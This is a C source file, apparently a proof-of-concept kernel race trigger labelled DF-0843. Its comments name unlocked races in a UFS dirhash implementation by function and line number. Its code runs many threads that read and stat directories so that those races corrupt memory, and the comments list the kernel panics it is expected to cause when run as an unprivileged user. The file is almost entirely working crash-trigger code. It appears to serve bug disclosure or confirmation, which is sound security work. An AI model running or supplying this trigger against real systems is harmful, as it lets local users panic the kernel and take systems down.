DF-0843 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | /* * DF-0843 - LIVE kernel trigger. * * Hammers the global ufsdirhash_list from many threads doing concurrent * directory builds / lookups / recycles on a UFS filesystem, in order to * trip the unlocked races in sys/vfs/ufs/ufs_dirhash.c: * * - ufsdirhash_recycle() :937/:948/:951/:962 mutates the global list * and a VICTIM inode's dh_hash with no lock on the victim. * - ufsdirhash_lookup() :313-315/:318/:356 concurrent TAILQ mutation * + DH_ENTRY double-deref through possibly-freed dh_hash. * - ufsdirhash_free() :252 TAILQ_REMOVE with no global lock. * * Expected effect on a default GENERIC (INVARIANTS ON) kernel: * - panic from a wild pointer in TAILQ_FIRST / slab corruption, OR * - panic from dereferencing 0xdeadc0de-poisoned freed dh_hash, OR * - NULL-deref after recycle sets dh_hash=NULL mid-lookup. * * Pre-conditions (set up by run.sh as root, then this runs as the * unprivileged user): * - a UFS filesystem mounted at <basedir> and chowned to the user * - vfs.ufs.dirhash_maxmem set LOW so recycle churns constantly * - many directories each with >= ufs_mindirhashsize bytes of entries * * Usage: ./trigger <basedir> <ndirs> <nthreads> <seconds> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <dirent.h> #include <sys/stat.h> #include <time.h> #include <errno.h> static char *g_base; static int g_ndirs; static volatile int g_stop; /* stat'ing entries forces ufsdirhash_lookup() per entry, which is the * concurrent reader racing recycle's mutation of the global list. */ static void pound_dir(int didx) { char path[512]; char name[64]; struct stat st; int i; snprintf(path, sizeof(path), "%s/d%05d", g_base, didx); DIR *d = opendir(path); if (!d) return; /* readdir forces the directory's dirhash to build (if not present) * and exercises ufsdirhash_lookup per entry. */ struct dirent *de; char full[640]; while ((de = readdir(d)) != NULL) { if (de->d_name[0] == '.') continue; snprintf(full, sizeof(full), "%s/%s", path, de->d_name); stat(full, &st); /* another ufsdirhash_lookup hit */ } closedir(d); /* also stat by synthesized names -> more lookup pressure / cache miss */ for (i = 0; i < 40; i++) { snprintf(name, sizeof(name), "f%04d", i); snprintf(full, sizeof(full), "%s/%s", path, name); stat(full, &st); } } static void *worker(void *arg) { unsigned seed = (unsigned)(uintptr_t)arg ^ (unsigned)time(NULL); long iters = 0; while (!g_stop) { int didx = rand_r(&seed) % g_ndirs; pound_dir(didx); iters++; } return (void *)(uintptr_t)iters; } int main(int argc, char **argv) { if (argc < 5) { fprintf(stderr, "usage: %s <basedir> <ndirs> <nthreads> <seconds>\n", argv[0]); return 2; } g_base = argv[1]; g_ndirs = atoi(argv[2]); int nth = atoi(argv[3]); int secs = atoi(argv[4]); if (nth < 1) nth = 1; fprintf(stderr, "DF-0843 trigger: base=%s ndirs=%d threads=%d seconds=%d\n", g_base, g_ndirs, nth, secs); fprintf(stderr, "(racing ufsdirhash_recycle/lookup/free on the global list)\n"); g_stop = 0; pthread_t *th = calloc(nth, sizeof(*th)); for (int i = 0; i < nth; i++) pthread_create(&th[i], NULL, worker, (void *)(uintptr_t)(i+1)); sleep(secs); g_stop = 1; long total = 0; for (int i = 0; i < nth; i++) { void *r; pthread_join(th[i], &r); total += (long)(uintptr_t)r; } fprintf(stderr, "trigger done: %ld dir-pound iterations across %d threads\n", total, nth); printf("OK: trigger completed without panic (race may need more iterations)\n"); return 0; } |